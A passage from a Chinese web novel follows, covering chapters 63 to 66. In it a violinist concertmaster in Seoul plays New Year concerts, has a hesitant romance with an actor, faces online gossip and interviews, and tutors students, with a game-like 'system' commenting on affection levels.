有一次，他在琴房外看着宋玉妍苦大仇深的表情，还以为她是在拉巴赫的赋格或者是柴可夫斯基的协奏曲。 走进一听才发现是维也纳的圆舞曲。 “也有了情感，第一部分转调时连接处的颤音处理的很好，明亮又不失活泼。”帕尔曼继续给予小弟子信心，但他也说的全是实话，至少她对于技巧的处理不完全是照抄了。 可喜可贺，自家弟子终于学会用“脑子”演奏了。 想到了收的一个徒弟，宋玉妍收拾好情绪，把脸上的泪水随便一抹。“老师我收了个弟子，你看你能不能指点一下她！” 帕尔曼：？？！ “你收徒弟了？” 她居然收了徒弟？她自己都还没有出师，这是怎么敢的？ 学生和徒弟不一样，前者只需要指点一下。而有了师徒之名的后者，师长大多都会用自己的人脉帮忙铺路。 “我这不是爱才心切嘛！人家小姑娘又有天赋、又努力。”宋玉妍一脸乖巧，下面的话更是让人眼前一黑。 “我还给她报名了今年的柴奖，老师你就多留首尔一会，给指点指点？不然到时候没得奖多丢脸。” 他只认为自己从未有过的高血压要犯了，明明室内明亮如昼，但他却感觉眼前一黑。上一次有这种相似到快要昏厥的感觉还是她说要去做kpop音乐 他就不应该收这个弟子！这下好了，每天都在晚节不保的边缘横跳，永远不知道她会捅多大篓子。 简直不敢想，到时候她的徒弟一个奖都没有拿下来，纽约那群老家伙会怎么笑他。 “师兄，你快扶老师坐下歇歇，别摔倒了。” 林森一脸无语，知道你还气，他连忙给自家老师倒了杯温水。 中场的十分钟休息时间眨眼就过，乐手依次离开休息室。 下半场开场的曲目是《维也纳糖果圆舞曲》，这首曲子的风格即优美又梦幻，在施特劳斯家族创作的圆舞曲里绝对可以排进前十。 孔浏看着身边这位，只在古典唱片上可以见到的人脸。帕尔曼慈祥的面孔上乌云密布，对方脸上的线条崩地紧紧的。 他心中不免有些纳闷，就算像他这样对古典音乐不了解，音乐素养勉强跟上首尔市民的平均值的人，都能感受到这首曲子的美妙。 对方难道是对这首曲子的演绎不满？或者有什么纰漏是这种普通人听不出来的？ 演奏这首曲子的时侯，他的眼睛黏在宋玉妍身上，丝毫挪不开。 如果说整个交响乐团是一套璀璨夺目的钻石项链，少了哪一个都没有现在的呈现出来，互相映衬的光辉。 但是唯有宋玉妍，也只有宋玉妍，能让人看的目不转睛。相信不只是他，前排所有的观众都情不自禁地把视线聚焦在她身上。 她就像是这串名为乐团项链上的主石，无可挑剔的琴技 就像是优秀匠人精湛的切割手艺。让原本好看的原石更加光彩夺目，其他的宝石只能沦为陪衬。 他被这样光芒万丈的人叩动了心弦，这和她私下拉琴的模样完全不一样。 仿佛她天生就应该属于这个舞台，享受着听众数不清的掌声和厅内最绚烂的花朵。 等到最后一首《拉德茨基进行曲》旋律响起时，听众都知道这是最后一首曲目了，眼底都划过不舍。 每年都有新年音乐会，但就今年办的最好。且不说室内的堆砌的鲜花算是在致敬维也纳金色大厅，在首尔冬天寻到这么多花有多难。 别说今年的选曲，都是耳熟能详、欢快活泼的舞曲。就说指挥富有激情的呈现和今年的首席带着弦乐声部技术更上一层楼，给他们带来了不一样的视听享受。 只买了这一场票的观众很是懊恼，早知道就明天的也买了，谁知道明年的新年音乐会还会不会维持这个水平？ 听一次少一次。 他们跟着鼓点的节奏，奉上热情又大声的掌声作为回报。场下火热的气氛比一些万人场的女团演唱会还要热烈，孔浏不听音乐会，不太明白这个操作。 不是说曲子演奏期间，鼓掌不符合礼仪吗？ 但是愣了一个八拍之后，他也跟上了鼓掌的节奏。如果音乐会都是这个水平的话，那他确实也应该多听一听。 等曲子到一半之时，因宁吉转过身，半对着观众席开始指挥起他们节奏的强弱。 宋玉妍看到着经典的一幕之后，忍不住笑了起来。 指挥观众这个优良的传统居然也被保留了下来，也算是对卡拉扬的一种致敬吧。 想到那位伟大的指挥家，她的心绪不由地有些复杂，他离开的那一年恰逢她出生。 所有的曲目都已经结束，观众对于所有的演奏者和指挥报以雷鸣般的掌声，感谢他们带来如此美好的一个夜晚。 她放下琴，不动声色地转了转左侧有些劳累的肩膀。含笑扫向观众席的时侯，对上了孔浏的视线。 内心微微一愣，视线不由地多停留了一秒。还以为他不会来了，对方手里抱着的东西让人看不清楚。 今天晚上的演出，她的心力都放在演奏上了。剩下一点微末的注意力，留给了观众席中间的老师，丝毫没有注意到旁边的人。不由地有些愧疚，心绪不宁地躲开他的视线了。 垂着头浅浅地咬住了下唇，冷调的蔷薇色变成有几分秾丽的艳色。 宋玉妍用琴杆轻轻敲着曲谱架，弦乐的其他乐手们随后跟上，用来回报听众的热情。 盛情难却之下，指挥又加演了一首《叽叽喳喳波尔卡舞曲》。用欢快的曲调祝愿今晚的听众在新年的第一天都能拥有美好的心情，万事开头顺了，其他时侯都会好的。 等三次谢幕完，所有人就知道这次是真的要结束了，恋恋不舍地看着他们退场。 老师、师兄他们先走了，在后台收拾的宋玉妍面露失望，她还打算问问老师什么时候能指点朴昭愿呢。 而自己的徒弟给她在kkt上打了好长好长一串话，分了三次，占据了六个手机屏幕那么大。 她简直要被这个笨蛋给笑死，不知道还以为她带人听音乐会，就是为了是给布置作业的。 写的还挺有条理性的，从曲目风格的分析到技术要点再到情感体现，最后还概述了一点自己的处理方法。 要是再扩充一点都可以当毕业论文的开题报告了。 等宋玉妍收拾好后，走出休息间时发现有人拿着一捧花在等她。 在谢幕时，指挥有花、大提琴首席也收到了花束。就她没有时，心底还有一些难过。但想到她第一次登台，还没有征服听众，心底又释然了。 孔浏把手中的不算大的、制式有点像是手捧花那样花束给她，然后顺手把她的小提琴盒接过来。 宋玉妍低头看着洁白、纯净芬得拉玫瑰加上绿色的配花，和她的粉面相得益彰。她扬起头，眼睛亮晶晶的，嘴角的梨涡像是镶嵌上去的，深的几乎可以让人戳进一点指头。 “谢谢，我还以为你今天不会来了，也没有想到晚上我还能收到花。” 他是只背了琴盒的一根带子，一只手扶着带子，另一只手插兜。定制的传统黑西装三件套把他的身材显得更加板正，清俊的面容带着一丝刻意的冷漠。 “碰巧而已，网上说带花束也是一种观看礼仪。”孔浏不自然地扯了扯领带，话里话外把自己的企图都撇了个干净。 好像在花店精心挑选花束，苦恼哪一种玫瑰和她更配的人不是他。 好像在网上疯狂搜索看演奏会礼仪的人也不是他。 好像坐在帕尔曼旁边全场心惊胆战，全场塌一刻腰的人也不是他一样。 “这么巧呀。”她笑语盈盈，不去揭穿对方的口是心非。黑色的尖头绸缎高跟鞋在黑暗里一跳一跳，裸露的粉白色脚踝看起来格外脆弱。 “我今天一点东西都还没有吃呢，就喝了一点点水。”软下的声调让人忍不住答应她所有的要求，自然上翘的尾音像钩子一样。 或轻或重地戳着人心上的软肋。 “我现在定西餐厅？”孔浏还是那副冷漠的神态，这只是出于一个朋友不越界的关心而已。 他越是这样冷漠，宋玉妍就越想逗他，想让他换下这幅“做作”的神态。 月光如水，她的皮肤比月光还要皎洁三分。男人干脆撇开眼，不去看，纤细的身影在暗处更加勾人。 “随便找一家布帐马车，对付两口好了。回南韩这么久，我都没有体验过这种真实的夜生活。” 孔浏划过她耳朵上带着的雪花耳饰，恍然大悟，原来之前在演奏厅里反射的亮光是这个。随后视线继续向下，从她不方便的衣着到脚下那双8厘米的高跟鞋。 嘴唇不自觉地想要扯起一抹弧度，又迅速抹平。 “那走吧。”他打定主意，陪她吃完饭，就各自分道扬镳。 看着他被西装勾出来精瘦的腰身，宋玉妍眼底划过一抹欲色。 「系统，我觉得这样的他有意思多了！」 「你那是觉得有意思吗？你就是喜欢对你冷淡的，就是喜欢不怎么理你的。」 第64章 第六十四章 宋玉妍没有回话，默默踩着前方人在月下洒下的影子，鞋跟敲在地上的声音有点闷。 「系统，你知道他为什么好感度会这么高吗？」 「一见钟情。」这似乎是一个标准的，如模板一样的答案。 「是也不是，因为我很符合他对另一半的要求。长相看起来温婉，有一份体面的工作，受过良好的教育。」像是心情还不错，她“好心好意”地解惑。 虽然对方初始的好感度很高，但按部就班地继续下去，会将她套入一个名为“贤惠妻子”的壳子中。 这样不温不火的下去，只会让孔浏的好感度永远上不去九十。上次机缘巧合之下，敲碎了对方对她的固有认知也好。 宋玉妍可以是女朋友，也可以是情人或者玩伴，但是不想让人绝对她是一个适合结婚的对象。 有的时侯性价比和合适，并不算是夸赞的词。 他的步速忽快忽慢，余光似乎一直在观察后面人的影子。一旦距离变近就会加快步伐，拉远之后步速就放慢了一点。 脚下脆弱的羊皮鞋底似乎只适合走红毯，在这样有些粗糙的路面上，让人走地举步维艰。 宋玉妍干脆不去跟随对方的节奏，挺拔的线条、婀娜的身姿，像是《天鹅湖》芭蕾那般不疾不徐。 孔浏似乎毫不在意，只是两人的距离一直维 持在一个固定的区域。 这里不像钟路3街那边一条街全是布帐马车，只有孤零零的一个塑料棚子，但满条街都是人间烟火味。 一进去就知道这家店很正宗，和首尔其他的那些名为布帐马车实为轻奢风格的网红餐厅大相径庭。 店里的姨母看到两人都穿着正装有些诧异，这里也会有上班族穿着西装下班之后来续摊。 但是女生很少有穿的像去演奏会一样，仿佛不是在布帐马车而是哪家精致的法餐。 “要吃什么？” “我吃一个乌冬面吧！”宋玉妍本来也是醉翁之意不在酒。吃饭是其次，最重要的是要增加和对方的接触机会。 “和她一样，再加一个生拌牛肉、鸡蛋糕！” “居然不喝烧酒吗？现在看韩剧里面都是一边喝烧酒一边聊天的。” 昏暗灯光下，她歪着头，看起来和在舞台上沉浸拉琴的样子像是两人。 头发不知道什么时候被散开了，晚风撩着她的发尾。让她柔和的脸看起来更加俏皮又十足妩媚，冷栗色的口红为她的冷白皮增添了一抹艳色，极致的颜色对撞是一份惊艳的美。 他把视线默默挪开了，手臂上的青筋暴露了不平静的内心。思考了一瞬，还是对着、姨母说：“再加一瓶元气真露烧酒。” 孔浏先是找了个位置，木着脸用纸巾把两人的塑料凳给擦拭一下，背上精致的琴盒无从下手。她直接接过，然后搁置在地上。 两人对坐在一张不大的方桌两端，相顾无言。如果同时把手肘都放上去，黑色的羊毛斜纹软呢会和法兰绒互相摩擦。 他的眼神飘忽不定，在不大的空间里游移着，就是不对上宋玉妍那眉目含情的面容。 对方的性格并不如他想象出来的那般温婉、细致，这在她帮忙拉拉链的时侯就看了出来。 在拒绝他的心意后，宋玉妍像圈内那些女性别无二致，用着欲擒故纵的手段。 这也是这几天，孔浏在思考该怎么定义两人之间的关系的原因。他不喜欢玩推拉，但也不想退回到暧昧的阶段。 所以，还是只做朋友吧！ 乌冬面很快就上上来了，两人没有急着动筷子。 “你要加一点海苔碎吗？”等宋玉妍同意之后，孔浏从配料容器里用勺子舀了一勺、然后两勺。 烤好的海苔碎和上面点缀的芝麻，一起铺在拌了海鲜酱的乌冬面上。 “还要吗？” 她摇摇头，示意不需要了。主动去柜台拿了一瓶烧酒，又取了两个玻璃杯。摆在不大的方桌上，和其他的菜品一起挤得满满当当。 皓腕一旋，没有任何饰品的遮挡，如玉一般的肌肤晃得人眼睛疼。清澈的酒液顺着下落的重力，注入玻璃杯内。 “我看韩剧里面都是这样，妻子不都是要给丈夫倒酒的吗？” 他盯着杯底，心中闷烦。又是这样，明明都已经拒绝了，但她还是会说出这些暗戳戳撩拨的话语。 “你看的电视剧都太老了，这两年都是初雪、炸鸡、啤酒。”嘴上满是拒绝，但是眼睛情不自禁地被那块肌肤吸引。 和她比常人要大的手章比起来，手腕要小巧的多，皮肤鲜润，让人有种想要握住的冲动。 “是吗？”宋玉妍笑了笑，不再没话找话，想要把自己的杯子倒满。 动作才架势，她的杯口被虚掩着了。两人的手贴的太近的，她的指尖蹭到了一点不那么光滑的肌肤。 下一秒，指尖微微蜷缩了回去，避开碰到的那一点温热。孔浏也把手挪开了一些。 他宽大的手掌和修长的手指，看起来能毫不费力地横跨小提琴的十度，骨节分明。看起来很有力量感，但不能算得上好看。 “你明天还有演奏会，喝其他饮料。” “我以为南韩人的血液里流淌的都是冰美式和酒液，这么一点应该没有关系。” 话音刚落下，孔浏用不容置疑的姿势把乐天的葡萄果汁给推过来。 绿色的包装把真露的酒瓶挤到一旁，也让她笑了一下。 宋玉妍不再把注意力放在他身上，专心致志地填饱自己的肚子。只是除了乌冬面，其他的食物都没有动，包括那瓶果汁。 “明天还有一场演奏会，你还会来吗？”当时给他的是两场的票，所以才会有这样的问题。 他想到下午母亲不由分说来到家中，话里话外的意思都是让他赶紧先找个人结婚。孔浏一瞬静默了，不知道该如何回答。 到了他这样的年纪对孤独会有更深刻的感受，就像是灵魂完整，但始终游离在这个世界之外。 二十代时怀抱着改变世界的愿望。三十代时从军队出来，只想着在忠武路闯荡一番。父母逐渐老去；家人逐渐有了自己的生活；朋友也渐渐疏离。 现在外在的都有了，但每次审视自己的内心时，都会有一片巨大的孤独无法填满。 就像心脏空了一块，补不上其实也没有关系的，日子总是向前的。 他不知道两人想要的是不是一样的，两人现在是否合适。 仿佛这个回答不是问要不要去演奏会，而是要不要在一起一样！ 像是知道他的心中所想，一瞬间宋玉妍的脸色就冷淡了下来，拿出纸巾擦了擦唇边的渍。 “孔浏xi，我才从学院里出来，和很多三十代的女性不一样。至少今年是会放更多精力在工作上，我要准备个人的巡演，也要准备和顶尖乐团的合作。” “换句话说，恋爱只能占我生活的一小部分，另一半需要给我很多很多支持。” 他垂着眼睛，手指不自觉地在西裤上有一点没一点地轻敲着。 宋玉妍现在所展露出来的强势和他印象里的样子完全不一样。两个同样强势的人，真的合适在一起生活吗？ 看着孔浏静默地如同雕塑一般，还有什么不懂？ “我知道了，再见！以及……谢谢今天晚上的招待。” 她毫不犹豫地提起琴盒，往外走去，迅速的动作没有丝毫留念。 背影很好看，但留在原地的人现在无暇欣赏。 “我送你回去吧。” “不用。”声音就像是冰冷的晚风，消散在夜色中，不过半分钟，视线里就没有了她的身影。 留在原地的孔浏，重新拿起筷子，伸向那盘生冷的牛肉。咀嚼着咀嚼着，一杯酒接着一杯地倒，旁边一瓶烧酒直接见底了。 酒精只能让他搅成一团乱麻的思绪更加纷乱。拿出手机给姜栋芫发了个消息，约他见一面。 他不是一个容易敞露心扉的人，但那个人如果是姜栋芫就没关系。 —— 第二天的演出气氛，还是如出一辙地热烈。中场休息时的掌声，简直要把整个室内厅都给掀翻。 宋玉妍瞟了瞟原本送出去票的座位，老师旁边依旧是空着，而且还空了半场。 她拿出手机给自家学生发了个消息，「你等会儿坐到一排a区6号位置上来。」 坐在前面肯定能看到比后面更多的东西，无论是乐队的配合，还是指挥表现情感的动作，都可以多学一点。 朴昭愿：「内。」 等下半场开始，她看到坐在旁边的人脸时，心脏跳的几乎躯体供血不足，享誉世界的大师居然直接出现在人眼前。 迟到了一会，中场才进来的孔浏看到自己原本的位置上坐了人，只能咬着牙在旁边的阶梯上站着。 这里的位置跟之前自然是不可同日而语的，视角太过偏僻，只能看到乐手的背影。 尽管如此，他还是只看的到宋玉妍。她就像是一个巨型的发光体，吸收着其他光芒。手肘放松，一上一下的运弓时，和音乐的韵律形成一种特殊的美感。 昏暗中他没有站完全程，等到乐手和指挥都开始谢幕时，他默默地迈开步伐，想要提前离开。 原本准备好的花束，也打算托别的工作人员转交。 今天返场的曲目是《假如爱有天意》，变成了交响乐版，听感上更加丰富。 管乐的导入后是弦乐的柔情，前奏一出，台下的听众就有些绷不住眼泪了。 这样的曲目虽然不符合新年音乐会欢乐的氛围，但是足够用心。 这部电影不但是一代人的回忆，更是奠定了南韩纯爱片在亚洲电影上的地位。 宋玉妍沉浸在如水一般的音符中，慢慢推弓，在 管乐地衬托下把这首曲目的情感诠释地淋漓尽致。 而推开门就可以离开的孔浏，脚步顿住了。 第65章 第六十五章 如果他错过了宋玉妍，还会有这样存在吗？和她聊天很愉快，相处很放松舒服，就连相遇也是如同命运那般巧合。 手放在冰冷的把手上，它的温度丝毫没有受到室内热烈的气氛影响，手下的金属有些刺骨。 刺骨到孔浏开始回想起自己这一年的记忆。 他现在长达一年的空白期并不是像其他人揣测的那样累了。而是……迷茫，很长很长的迷茫期。 好像到了这个时候，成为了国民级的演员、有了代表作、推动了熔炉法，事业上一切都很顺利。他应该开始专注个人生活，但找不到合适的人选。 圈内人太复杂，圈外人有的只喜欢喜欢艺人孔浏，有的对艺人不屑一顾。 而现在在拉这首曲子的人现在在想什么呢？是心无旁骛看着曲谱上每一个墨色的音符，还是……也会想到他呢？ 孔浏站在音乐厅最远的地方望向舞台，宋玉妍在他眼里变成了一个黑色的小点。脚下的距离好像变成了一条名为三十代的直线，他在尽头，宋玉妍在始端。 送给她的梵克雅宝雪花耳钉依旧耀眼，就如同她这一段的独奏，在其他乐器的衬托下，更加哀婉动人。 明明都是影视剧的插曲，两人相遇也不过短短一个月。在《staywithme》中丝毫没有情感，所以会是因为他而改变了吗？ 这样的旋律听的人几乎要落下泪了，她也会和自己一样，因为感情的变动而苦恼？ 等这首曲目完毕，他选择第一个推开这扇音乐厅的大门。 久处黑暗，忽然在强光的折射下，眼睛很是不适。对旁边工作人员的关心道谢，然后直接离开了。 脚步很缓慢，像是在跟随思考的节奏。 所以，该怎么办呢？ 夜色不知道他的纠结，冷风也没有给他任何眷顾，自顾自地带走他身上的热气。 结束谢幕后，宋玉妍手上的花束简直要抱不过来了，一直在和上台献花的听众鞠躬道谢。 回到后台才发现她桌上多了一束粉白的花束。上面没有任何卡片署名，应该是某人托别人转交的。 手上抱不下，她只能把那束粉白的留下，其他的带回去。 两场新年音乐会结束，听过现场的听众大多数都对新首席抱有很高的期待。 有耳朵的都能感受到，这位比前任手上的技术细腻很多。整个乐团弦乐的弓法也更加精简，对乐曲听感上的提升很有帮助。 很多听众去国立交响乐团官网搜索，才发现首席那栏只有一个孤零零的名字。 什么过往履历、毕业院校、合作过的乐团、获得过的奖项通通没有。只有一个韩语词在上面，后面还跟了一个括号，写着暂代。 「我服了，这位首席这么神秘吗？」 「维基百科我劝你不要不知好歹。」 「希望国立交响乐团越来越好吧！有一个世界一流演奏水平的首席不容易，尽力把人给留下来吧！」 「维基的速度还是快的，立刻把人的履历贴了上了。看完我只能说厉害，现在脑子里除了朱莉亚和首席装不进去其他。」 「是郑京和就读过的那个学校？帕尔曼的弟子！这关系很亲近呀，可以说是师出同门了。」 「我看到了，网上已经开始说人是第二个郑京和。笑死两个人的风格完全不一样，宋玉妍和她老师轻柔细腻的风格如出一辙，但是多了些梦幻的感觉。郑京和……那位我只能说她提琴音色过于饱满激情了，反正我是欣赏不来。」 「感觉这位成为距离顶级的演奏大师，只剩时间问题。」 「笑死，等她什么时候拉完柴可夫斯基的曲子再说吧！几首甜腻的圆舞曲拉好了也不能证明什么。」 宋玉妍看到之后，心底有些不舒服了，把原主家人给她保留的，之前比赛的视频给贴到ins上。 截取了两分钟，然后艾特那位口嗨的网友。「这是我15岁参加柴可夫斯基赛事时拉的协奏曲，您给指点指点？」 因为时长关系，剩下的放在YouTube上了。被她艾特的那位网友开始闭嘴，没有再上蹿下跳了。 「笑死，踢到铁板了吧，质疑柴奖金奖获得者的演奏水平，抽象的程度相当于我和孙兴慜说你在热刺踢球也就那样，去皇马踢一个给我看看。」 「楼上好会说！顺便贴上这位首席的美貌，大家一起欣赏欣赏。」 「贴图、贴图，这位的性格和长相完全不一样呢！长相温软，性格完全不软。」 聊着聊着帖子下歪楼了，之前谢幕时很多听众不自觉地把摄像头对准她。 宋玉妍凭借美貌完成了小小的出圈。 「我昨天好像在布帐马车碰了她和孔浏xi了，贴图。」 「啊？这两位八竿子打不着吧！有一说一，你不说我还以为这是在拍韩剧。孔浏xi也应该结婚了。」 南韩网友把1月2号kbs发上来的视频逐帧观看，最后在观众席看到了这位演员。 看到有人艾特她，宋玉妍干脆不回应。好像自己是一个完完全全不会上网冲浪、严肃的古典音乐从业者。 就算是要向公众袒露两人的关系，那也要他去主动开口。要知道她和那些需要蹭热度的艺人不一样，不靠这些吃饭。 所以孔浏xi，你会怎么回应呢？ 一小部分网友去soop官网下留言，没有办法孔浏没有开通公共的社交账号，找不到他人。 网络上开始有人扒这两人之间的关系。西餐厅里，路人拍下孔浏看着宋玉妍背影的照片，被人夸有氛围感，两人琴行被偶遇的照片也被翻出。首尔大一起扶海报、西餐厅一起吃饭…… 宋玉妍深夜刷完手机有些无奈，不是说人生没有那么多观众吗？怎么到她这里人生处处都是观众？ 流媒体上的绯闻消息在迅速发酵，媒体转载时还是会把她的脸打上马赛克，再怎么说也算是素人。 在结束音乐会的第二天上午kbs和《首尔体育报》都和宋玉妍约了个采访。 kbs恰好有空着的采访室，就给人留出来，省的这个采访还需要临时去找地方。 纸媒派来的记者是位女性，纯色的西装穿搭让她看起来既简洁又干练。嘴角弯起的笑容，弧度正好，不失职业性又让人感到十足亲近。 他们今天的采访主题，更加关注于国际上，韩国古典音乐流派该何去何从。 她没有急着一上来就问尖锐的问题，而是和对方喝喝咖啡，先聊聊对方在美国的生活。 等气氛和缓，宋玉妍放松下来之后。记者别着麦克风，带着笑容开始进入主题：“你是怎么看待南韩古典音乐在主流上式微？是因为我们没有世界一流的演奏家？” “其实不是因为我们演奏者没有能力 把曲目拉好。“宋玉妍放下咖啡杯，在心底叹了口气，这个问题很大，大到她要好好地斟酌再开口。 “我给我的老师做助教时发现，上他大师课的学生五分之三来自亚洲，中国、日本、韩国、新加坡的都有。但最后能留在欧洲，靠自己技术吃饭的演奏者寥寥无几，我们这么久也就出了一个郑京和xi。” 南韩的古典音乐在世界范围内水平算的上是一流的。从声乐到器乐，每一个人都在卷生卷死，但最后能得偿所愿的不过那么几个。 记者很认真地在听她说话，对方没有用官方话术来回应。比如：我认为以后一定可以、还有很长的路要走、现在已经取得了一定成就。 “问题不在于演奏家，而是作曲者。我们没有作出得到世界认同的曲目。文化底色不一样，人家凭什么认为你能演奏好贝多芬、巴赫、门德尔松？” 这样真诚的话语，其实是源自宋玉妍自身的经历。她是学院出现过唯一一个的亚裔首席，刚开始很多人都不看好，不认为她能理解当中的文化和情感。 记者：…… 她一瞬间默然，被采访者说出的这段话很有意思，她要好好想想今天的标题。 “总之，等我们作出具有民族特色的曲目，等它享誉世界后，我们自然也会被接纳。柴可夫斯基在世时，他的作品，并不被维也纳主流的音乐学派所接纳。但现在，不会有人去质疑俄罗斯的古典音乐水平。” 这就是一个好的作曲家，留给他们国家的艺术馈赠。 如果说之前宋玉妍还会因为年龄、性别而遭到质疑，这场采访让人不再怀疑她的专业性。 记者在路上把本来想好的标题——国立交响乐团小提琴新生代优秀女首席，修改了一下。先是删掉了女字，然后把新生代给去掉。 至于下一场的采访，娱乐媒体更加注重个人生活。 宋玉妍对此有些不耐烦，手指在大腿上快速敲着十六分音符，眼底泄露出不满。这就是国家台的水平？放着那么多专业性强问题不问。 对方问她和孔浏之间的关系，她干脆闭口不答。被追问烦了，直接让主持人去问男方。 最后她意味深长地说了句：“我迟早要“登陆”欧洲开启巡演的，古典音乐的听众不会因为我的名字前面加了个前缀，就为我多贡献一张票。” 看着他们青白相交的脸色，她直接拿起包离开。不是艺人的话，媒体那里的口碑影响并没有那么大。 这天中午，孔浏难得睡了个懒觉，结果被自家亲故吵醒。他在电话那边软磨硬泡，想让人陪他侄女一起去宋玉妍家。 “今天第一次去，人家都是给你面子的，你作为牵线的人一起去一下吧！” 就算被吵醒，孔浏情绪也就平稳，声音带着一股平时少有的沙哑慵懒。“我前天才和你说的，我和她……关系不知道该如何去定义了。” “你少矫情一点，房子里有些文青病的书该扔，扔扔掉。” 第66章 第六十六章 孔浏：…… “人家能给我侄女上课，那都是看你的面子。我问了一下，找他们上私课的家长很多都是议员。” “我现在不去也没什么关系吧！宋玉妍xi她都同意了。”至少这段时间他想做个鸵鸟，好好缕清两人之间的关系。 一手拿着手机，另一个手上的水杯被他放下。心绪就像是水杯的平面那样波澜不惊，但只要加一个泡腾片就会换种感觉。 就是不知道那个泡腾片什么时候能加进去。 “她是同意了啊，但是上不上课和上课用不用心这是两回事。”姜栋芫也是被姐姐给磨烦了，不然不可能让自家好友难做的。 “我知道了。” 孔浏开始在衣柜挑衣服，西服显得太过正式，棉服又太过臃肿，大衣又没有合适的颜色。 他的手指在衣柜里一件件摩擦，掠过或轻柔或硬挺的面料。 品牌方还是过于保守，给他送来的颜色大多数都是沉稳的暗色。好不容易才挑了一件浅灰色的夹克，又为搭配泛起了难。 所有东西都准备好了之后，又懊恼自己忘记挑礼物了。现在已经离约定的时间很近，再去买已经来不及了，他只能轻捶车上的方向盘来抑制有些烦躁的心情了。 到了宋玉妍家楼下时，姜栋芫和姜贤洙带着她的女儿在楼下等。 他们两人的父亲是spp重工的副总经理，从小职员开始，做了30年才到现在的位置。所以家庭条件只能说是优渥，但是达不到财阀的程度。 “你们怎么不先上去？”孔浏单手插兜和两位先打了招呼，明明亲故之前都来过这里很多次了，现在居然还会拘谨。 “等你一起”姜栋芫把自己的姐姐和侄女交给了他。“我就不上去了，万一人家老师不喜欢家里人太多呢？” 孔浏只觉得最近这几天比过去一年都要疲惫，他在心底叹口气，默默牵上人家小姑娘的手。 看到她心情紧张还揉了揉她的头，长辈式的亲昵让她身体放松了一些。 听到敲门声，宋玉妍去给自家学生和自己到了杯柠檬柚子水。 “你去开下门吧。” 朴昭愿过来开门之后，神色有些不安。她是第一次这么近距离见到艺人，还是这种国宝级的艺人。 他们穿着都很体面，是一路人，而她格格不入。 变形的衬衫，穿了九年的羽绒服早已落伍，就连脚上鞋套的鞋子里，袜子破了一个洞。 隐秘的自卑将她席卷，脚趾不由地瑟缩了一下，不敢和来人对视。她想：老师应该只给他们上课的。 “稍等我一下，这里马上就完成了，你们先在沙发上坐一下。” 门打开之后，朴昭愿默默退回到和老师上课的地方，就像是安全距离。 她继续拉着琴，心绪却跑走，不小心之下，一个弓法拉错了，换弓已经来不及了。 沙发上姜贤洙只蹭上了一点点，小声询问道：“宋玉妍xi的脾气怎么样？我今天带来的礼物她会喜欢吗？” “她性格还不错，很好相处，是一个很温柔的人。” 话音刚落下，那边就传来像是教鞭抽在金属上的声音，实物掠过风声可以听出她用了多大的力气。 宋玉妍有些恨铁不成钢，弓杆在曲谱架上敲了一下，突如其来的声音把所有人都吓了一跳。 姜贤洙默默看了一眼孔浏，这也算脾气好吗？他苦笑，只能轻轻摇摇头，可能宋玉妍对于专业要求很高。 “你现在就应该好好练琴，你现在有把心思放在琴上？在课堂上面走神你是想干什么？” 她在朴昭愿这里的形象一直都是温柔可亲的，很多时候做的没有那么好，也不会过分苛责。 但看着存款越来越少，琴技却没有很明显增长，朴昭愿也会怀疑自己是不是不能做好。 “心思定下来，别去想其他的东西。”她叹口气，让学生喝口水先定定神。“外在的东西我会想办法的，你保持练琴效率，迟早会看到结果。” 这个东西急不得，从来就没有什么速成的方法，只能靠日积月累的练习达到厚积薄发的效果。 “内，我知道了。 “她看着学生提起琴盒，小心翼翼地关门出去。 姜贤洙看到上一节课结束了，宋玉妍的脸上没有什么不虞的神色，连忙提着橙色的礼盒过来。 “我听孔浏xi说您比较喜欢喝咖啡，给您挑了一套咖啡杯，你看怎么样？” 看了一眼熟悉的logo，“放桌上吧。”她没有表示出明显的喜恶。 可能是因为生气，她头顶有一丝呆毛都炸了起来，看起来多了一丝可爱。lp胶囊系列的羊绒显得她更加柔和，坐在钢琴旁就像是一副秾丽的油画。 孔浏有些担忧地看着她，明明宋玉妍的表情和之前没有区别，但是 他就是能感受到对方现在心情不是很好。 是因为那个学生吗？ 她手指在琴谱之间翻飞，翻到其中一页，“《克莱采尔》这首练习曲你先试一下。” 等金素仙开始做准备工作的时侯，宋玉妍去餐吧把人带来的盒子给拆掉。 杯子是西班牙阳台系列，看起来即热烈又精致，她还算是喜欢。她泡上速溶咖啡，倒进这套昂贵的杯子里，然后用实木的餐盘端了三杯过去。 给两人一人面前放了一杯，姜贤洙迫不及待地啜了一口，然后开始奉承道：“老师nim不愧是留学回来的，就连你这里的咖啡都格外正宗，这样顺滑的可可口感，也只能在你这里尝到了。” 旁边的孔浏刚喝了一口，听到这样的硬夸，差点呛到气管。一时间客厅全是他咳嗽的声音，就速溶的味道也能这样夸？ 宋玉妍一时语塞，她敢夸，她都不敢听。连忙转移话题：“她基础还是有的，但是不熟练，考上首尔大有些勉强。” 她端起面前的柚子水，不紧不慢地喝完，然后说着话，余光全是在孔浏那里。 他今天的话格外的少，如果不是之前的咳嗽声，几乎让人以为只来了两个人。 “是啊，老师nim，我们也是没有办法，所以才想您能给孩子提升一下。我们家就盼着出一个首尔大的高材生！”姜贤洙也是一脸无奈。 她也不想对孩子要求这样严苛，但是爸爸和yeobo的想法完全不是这样。 都说一代工农商、二代金融、律师、公务员、医生，三代那应该培养出来一个艺术家。 但对于他们这样的家庭来说，除了出国镀金之外最好的选择就是s.k.y。国外顶尖的艺术大学在招收本科生时，更看重学生平时的获奖情况，竞争激烈程度比进首尔大有过之而无不及。 “我应该会是今年论述考试的评审组成员，按道理来说，应该公平公正。”宋玉妍的目光飘香孔浏，其中的意味不言而喻。 “但是孔浏xi都已经找我开口，凭我和他之间的亲密关系我也不好拒绝。” 宋玉妍手指继续翻，翻到一首巴赫无调性和一首维瓦尔弟的短篇小提琴协奏曲。示意金素仙继续。 小提琴声音再次响起，是因为曲目是临时抽取的，没有提前准备，这次拉起来颇有些磕磕绊绊。 那尊装作雕像的“静物”终于开始动了，他终于不盯着那杯咖啡，沉默不语。 视线看向宋玉妍，手指在咖啡杯上红色的纹路上摩挲着。她的酒窝又出现了，温婉可人，眼睛里含情脉脉，仿佛他是她的爱人。 视线交汇、又挪开、然后再次交汇，室内的气温仿佛一瞬间就升高了，让他燥热地大衣都穿不住。 孔浏干脆起身，把外套脱下，挂到衣架上。看着推拉门里面的身影，不自觉地开始有些自卑。 因为不用进组，所以要控制饮食，盐分摄入过多，他的面部有些浮肿。这和镜头前那个精致的演员完全不一样，发型也是乱糟糟的。 所以这样脱去了光环的他，宋玉妍……会喜欢吗？可她眼底的情意骗不了人，他还是会怕会错意。 